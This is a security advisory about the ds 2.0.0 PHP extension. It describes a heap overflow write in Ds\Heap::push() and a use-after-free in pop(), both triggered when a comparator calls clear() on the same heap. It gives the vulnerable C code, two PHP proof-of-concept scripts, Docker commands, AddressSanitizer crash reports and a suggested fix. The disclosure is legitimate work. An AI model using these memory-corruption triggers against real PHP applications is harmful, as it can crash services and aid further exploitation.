ds 2.0.0: Heap buffer overflow write and use-after-free through `Ds\Heap` comparator reentrancy

[Amorsec]

Summary

The Ds\Heap implementation in the ds PHP extension permits a user-supplied
comparator to reenter and mutate the same heap while push() or pop() is
mid-sift. Ds\Heap::clear() destroys all node values, shrinks the node array to
eight slots, and returns to native code that is still using indices and zvals
from the previous heap state.

Two distinct memory-safety faults are reproducible in ds 2.0.0: a heap
buffer-overflow write in Ds\Heap::push(), and a heap-use-after-free in
Ds\Heap::pop(). Both cause AddressSanitizer to abort the PHP process. The
out-of-bounds write and use-after-free are demonstrated; information disclosure,
arbitrary write, and code execution are not demonstrated.

Details

• Affected component: php-ds/ext-ds / PECL ds 2.0.0
• Affected entry points: Ds\Heap::push() and Ds\Heap::pop() with a
  comparator supplied to new Ds\Heap(null, $comparator)
• Affected source: https://github.com/php-ds/ext-ds, tag v2.0.0
  (533f11e1fc7e45e457e77d879f853bf5ec789f07)
• Root cause: a comparator callback can call a mutating method on the same
  heap without a reentrancy guard, while the native sift operation retains
  state derived from the pre-callback heap.
• Trigger condition: a comparator invoked during push() or pop() calls
  $heap->clear() on that same heap. The proof of concept uses an unaliased
  heap, so its copy-on-write reference count is zero and SEPARATE() does not
  clone it before clear() mutates it.

Ds\Heap exposes the comparator through the constructor. Its mutating methods
call SEPARATE(), but that helper only clones a heap when refs > 0:

/* src/php/classes/php_heap_ce.c */
#define SEPARATE() ds_heap_separate(&(THIS_DS_HEAP()->heap))

METHOD(clear)
{
    PARSE_NONE;
    SEPARATE();
    ds_heap_clear(THIS_DS_HEAP()->heap);
}

/* src/ds/ds_heap.c */
void ds_heap_separate(ds_heap_t **heap)
{
    if ((*heap)->refs > 0) {
        (*heap)->refs--;
        *heap = ds_heap_clone(*heap);
    }
}

For an ordinary unaliased heap, refs == 0; a reentrant clear() therefore
operates on the storage that the suspended push() or pop() is using. It
destroys every node zval and reallocates the node array to the minimum capacity:

void ds_heap_clear(ds_heap_t *heap)
{
    for (uint32_t i = 0; i < heap->size; i++) {
        zval_ptr_dtor(&heap->nodes[i]);
    }

    heap->size = 0;
    ds_heap_reallocate(heap, DS_HEAP_MIN_CAPACITY);
}

Heap buffer-overflow write in Ds\Heap::push()

ds_heap_push() computes index and parent before calling the comparator.
After the callback returns, it does not revalidate the heap size, capacity, or
the cached indices before moving the parent node:

void ds_heap_push(ds_heap_t *heap, zval *value, ds_heap_compare_func_t compare)
{
    uint32_t index;
    uint32_t parent;

    if (heap->size == heap->capacity) {
        ds_heap_increase_capacity(heap);
    }

    for (index = heap->size; index > 0; index = parent) {
        parent = PARENT(index);

        if (compare(value, &heap->nodes[parent]) <= 0) {
            break;
        }

        ZVAL_COPY_VALUE(&heap->nodes[index], &heap->nodes[parent]);
    }

    ZVAL_COPY(&heap->nodes[index], value);
    heap->size++;
}

The OOB PoC pre-populates 16 integer nodes. During the final push(), the
outer loop has index == 16 and parent == 7. The comparator calls clear(),
which replaces the node buffer with an 8-slot allocation. It returns 1, so
the outer loop reaches ZVAL_COPY_VALUE(&heap->nodes[16], &heap->nodes[7]). Node 7 is within the new allocation but node 16 is not.
ASan reports an 8-byte heap buffer-overflow write at ds_heap.c:125, 128 bytes
past the new 128-byte node allocation.

Heap use-after-free in Ds\Heap::pop()

ds_heap_pop() moves the last node zval into a local bottom without adding a
reference. It then calls the comparator during sift-down. If the first callback
clears the heap, clear() destroys the heap node that owns the string to which
bottom points. The subsequent comparison passes this dangling zval to
ds_heap_user_compare():

/* src/ds/ds_heap.c */
ZVAL_COPY_VALUE(&bottom, &heap->nodes[heap->size]);
zval_ptr_dtor(&heap->nodes[0]);

for (index = 0; index < half; index = swap) {
    swap = LEFT(index);
    if (swap + 1 < heap->size &&
        compare(&heap->nodes[swap], &heap->nodes[swap + 1]) < 0) {
        swap++;
    }
    if (compare(&bottom, &heap->nodes[swap]) >= 0) {
        break;
    }
    ZVAL_COPY_VALUE(&heap->nodes[index], &heap->nodes[swap]);
}

/* src/php/objects/php_heap.c */
ZVAL_COPY_VALUE(&params[0], a);
ZVAL_COPY_VALUE(&params[1], b);
...
zend_call_function(&DSG(user_compare_fci), &DSG(user_compare_fci_cache));

The PHP callback invocation copies its parameters by value and increments the
referenced string. The second comparator call therefore reaches
zend_gc_addref() on the freed zend_string. ASan reports a heap-use-after-
free with the extension frames ds_heap_user_compare and ds_heap_pop.

A suitable fix is to prohibit mutation of a heap while its comparator is
running, or to perform callback-driven heap operations against a stable clone
or snapshot. The implementation must also avoid retaining raw zvals or indices
across a callback unless their ownership and bounds are revalidated after that
callback returns.

PoC

Environment and configuration

• Container/image: php-asan-8420-dbase-build using php-asan:8.4.20
• PHP: PHP 8.4.20 CLI, NTS, debug build
• PHP configure options:

CC='clang' \
CFLAGS='-fsanitize=address -g -O1 -fno-omit-frame-pointer' \
CXX='clang++' \
CXXFLAGS='-fsanitize=address -g -O1 -fno-omit-frame-pointer' \
LDFLAGS='-fsanitize=address' \
./configure \
  --enable-embed=static \
  --enable-debug \
  --disable-cgi \
  --disable-phpdbg \
  --without-pear \
  --disable-all \
  --enable-tokenizer \
  --with-pic

• Extension: ds 2.0.0, loaded from /build-ds-x/modules/ds.so
  (SHA-256 1a4f9885f733b4dec0473d54de18dc07bb4811c81efb3f0d7463f3a5d2286906)
• Extension compiler/linker flags: its config.log records
  CC=clang, CFLAGS=-fsanitize=address,fuzzer-no-link -g -fno-omit-frame-pointer -O0, and
  LDFLAGS=-fsanitize=address,fuzzer-no-link. The module imports ASan and
  SanitizerCoverage symbols.
• Compiler: Ubuntu Clang 14.0.0
• Sanitizer runtime: USE_ZEND_ALLOC=0 and
  ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1:symbolize=1.
  No UBSan runtime option or LD_PRELOAD setting was used.

Variant A: heap buffer-overflow write in push()

<?php

$heap = null;
$armed = false;

$compare = function (int $left, int $right) use (&$heap, &$armed): int {
    if ($armed) {
        $armed = false;
        $heap->clear();

        // Make the outer sift-up path execute its move into the stale index.
        return 1;
    }

    return $left <=> $right;
};

$heap = new Ds\Heap(null, $compare);

for ($value = 0; $value < 16; $value++) {
    $heap->push($value);
}

$armed = true;
$heap->push(PHP_INT_MAX);

Run:

docker cp DS-NEW-001_oob_write_poc.php \
  php-asan-8420-dbase-build:/tmp/ds-oob.php
docker exec php-asan-8420-dbase-build sh -lc \
  'USE_ZEND_ALLOC=0 \
   ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1:symbolize=1 \
   /src/php/sapi/cli/php -n \
   -dextension=/build-ds-x/modules/ds.so /tmp/ds-oob.php'

Captured sanitizer report (process exit status: 134):

=================================================================
==159==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60c000005a80 at pc 0x7f4dc3166c2f bp 0x7fffab851c10 sp 0x7fffab851c08
WRITE of size 8 at 0x60c000005a80 thread T0
    #0 0x7f4dc3166c2e in ds_heap_push /build-ds-x/src/ds/ds_heap.c:125:9
    #1 0x7f4dc31a4c27 in zim_Heap_push /build-ds-x/src/php/classes/php_heap_ce.c:73:9
    #2 0x55b7e9fd4a02 in ZEND_DO_FCALL_SPEC_RETVAL_UNUSED_HANDLER /src/php/Zend/zend_vm_execute.h:1907:4
    #3 0x55b7e9ee74cd in execute_ex /src/php/Zend/zend_vm_execute.h:58676:7
    #4 0x55b7e9ee7cf7 in zend_execute /src/php/Zend/zend_vm_execute.h:64328:2

0x60c000005a80 is located 128 bytes to the right of 128-byte region
[0x60c000005980,0x60c000005a00)
allocated by thread T0 here:
    #0 0x55b7e9284e76 in __interceptor_realloc
    #1 0x55b7e9d7afbb in __zend_realloc /src/php/Zend/zend_alloc.c:3313:6
    #2 0x55b7e9d7a9ec in _erealloc /src/php/Zend/zend_alloc.c:2761:10
    #3 0x7f4dc31665df in ds_heap_reallocate /build-ds-x/src/ds/ds_heap.c:15:19
    #4 0x7f4dc3168f78 in ds_heap_clear /build-ds-x/src/ds/ds_heap.c:248:5
    #5 0x7f4dc31a5a77 in zim_Heap_clear /build-ds-x/src/php/classes/php_heap_ce.c:101:5
    #6 0x55b7e9ec4322 in zend_call_function /src/php/Zend/zend_execute_API.c:998:3
    #7 0x7f4dc316d86c in ds_heap_user_compare /build-ds-x/src/php/objects/php_heap.c:18:9
    #8 0x7f4dc3166ab3 in ds_heap_push /build-ds-x/src/ds/ds_heap.c:120:13

SUMMARY: AddressSanitizer: heap-buffer-overflow
/build-ds-x/src/ds/ds_heap.c:125:9 in ds_heap_push

Variant B: heap-use-after-free in pop()

<?php

$heap = null;
$armed = false;

$compare = function (string $left, string $right) use (&$heap, &$armed): int {
    if ($armed) {
        $armed = false;
        $heap->clear();
    }

    return strcmp($left, $right);
};

$heap = new Ds\Heap(null, $compare);

for ($value = 0; $value < 32; $value++) {
    // Each temporary string is owned only by its heap node after push() returns.
    $heap->push(sprintf('item-%04d-%s', $value, str_repeat('A', 256)));
}

$armed = true;
$heap->pop();

Run:

docker cp DS-NEW-001_uaf_poc.php \
  php-asan-8420-dbase-build:/tmp/ds-uaf.php
docker exec php-asan-8420-dbase-build sh -lc \
  'USE_ZEND_ALLOC=0 \
   ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1:symbolize=1 \
   /src/php/sapi/cli/php -n \
   -dextension=/build-ds-x/modules/ds.so /tmp/ds-uaf.php'

Captured sanitizer report (process exit status: 134):

=================================================================
==143==ERROR: AddressSanitizer: heap-use-after-free on address 0x615000005d00 at pc 0x55e51aac0e3e bp 0x7ffe226041c0 sp 0x7ffe226041b8
READ of size 4 at 0x615000005d00 thread T0
    #0 0x55e51aac0e3d in zend_gc_addref /src/php/Zend/zend_types.h:1340:9
    #1 0x55e51aac28b3 in zend_call_function /src/php/Zend/zend_execute_API.c:900:4
    #2 0x7fe73d18f86c in ds_heap_user_compare /build-ds-x/src/php/objects/php_heap.c:18:9
    #3 0x7fe73d189b3a in ds_heap_pop /build-ds-x/src/ds/ds_heap.c:173:13
    #4 0x7fe73d1c7004 in zim_Heap_pop /build-ds-x/src/php/classes/php_heap_ce.c:82:5

0x615000005d00 is located 0 bytes inside of 512-byte region
[0x615000005d00,0x615000005f00)
freed by thread T0 here:
    #0 0x55e519e847a2 in free
    #1 0x55e51a9769b3 in __zend_free /src/php/Zend/zend_alloc.c:3322:2
    #2 0x55e51a97a8f4 in _efree /src/php/Zend/zend_alloc.c:2750:3
    #3 0x55e51af07040 in zend_string_destroy /src/php/Zend/zend_variables.c:67:2
    #4 0x55e51af06016 in rc_dtor_func /src/php/Zend/zend_variables.c:57:2
    #5 0x55e51ad275a4 in i_zval_ptr_dtor /src/php/Zend/zend_variables.h:45:4
    #6 0x55e51aade43f in i_free_compiled_variables /src/php/Zend/zend_execute.c:4068:3
    #7 0x55e51aac4322 in zend_call_function /src/php/Zend/zend_execute_API.c:998:3
    #8 0x7fe73d18f86c in ds_heap_user_compare /build-ds-x/src/php/objects/php_heap.c:18:9
    #9 0x7fe73d189a72 in ds_heap_pop /build-ds-x/src/ds/ds_heap.c:168:38

previously allocated by thread T0 here:
    #0 0x55e519e84e76 in __interceptor_realloc
    #1 0x55e51a97afbb in __zend_realloc /src/php/Zend/zend_alloc.c:3313:6
    #2 0x55e51a97a9ec in _erealloc /src/php/Zend/zend_alloc.c:2761:10
    #3 0x55e51a5452fa in zend_string_extend /src/php/Zend/zend_string.h:273:25
    #4 0x55e51a542e4d in php_sprintf_appendstring /src/php/ext/standard/formatted_print.c:112:13
    #5 0x55e51a53dec5 in php_formatted_print /src/php/ext/standard/formatted_print.c:627:6
    #6 0x55e51a53bbad in zif_sprintf /src/php/ext/standard/formatted_print.c:773:11

SUMMARY: AddressSanitizer: heap-use-after-free
/src/php/Zend/zend_types.h:1340:9 in zend_gc_addref

Impact

An application is affected when a Ds\Heap comparator reenters and mutates the
same heap while push() or pop() is maintaining heap order. Calling
clear() is a demonstrated trigger; another destructive mutation that changes
the node storage or destroys the values being compared may produce the same
class of failure.

The two supplied PHP programs require no extension-specific configuration after
loading ds.so, and each deterministically terminates the PHP process under
ASan. The demonstrated OOB write corrupts native heap memory; the demonstrated
UAF passes a freed zend_string into the PHP callback machinery. Reliable
denial of service is demonstrated. Further exploitation depends on the calling
application, allocator, heap layout, and platform protections and is not
claimed here.

Although the triggering callback pattern is application-specific, ds is a
general-purpose extension whose public API explicitly invokes user comparators.
The extension should preserve its internal lifetime and capacity invariants
across those callbacks so that application-level reentrancy cannot destabilize
the PHP process.